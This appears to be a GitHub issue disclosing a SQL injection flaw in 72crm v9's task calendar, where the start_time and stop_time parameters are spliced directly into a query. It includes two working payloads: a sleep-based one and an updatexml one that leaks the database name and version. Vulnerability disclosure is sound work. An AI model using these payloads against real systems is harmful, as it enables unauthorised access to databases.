Skip to content

72crm v9 has sql injection vulnerability #34

Open
@xunyang1

Description

Brief of this vulnerability

72crm v9 has sql injection vulnerability in View the task calendar

Test Environment

  • Windows10
  • PHP 5.6.9+Apache/2.4.39

Affect version

72crm v9

Vulnerable Code

application\work\controller\Task.php line 506

The $param parameter is passed to getDateList

image

The start_time parameter and stop_time parameter are directly spliced ​​into $whereDate, and then executed on line 493. resulting in sql injection vulnerability

image

Vulnerability display

First enter the background

Click as shown,go to the View the task calendar and capture the packet

image

image

payload: start_time=1&stop_time=1))+or+sleep(2)--+

Sleep successfully for 2 seconds

image

If debug mode is enabled
image
payload:start_time=1&stop_time=1))+or+updatexml(1,concat(0x7e,database(),0x7e,version()),1)--+
image
Successfully obtained the database name and version number

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions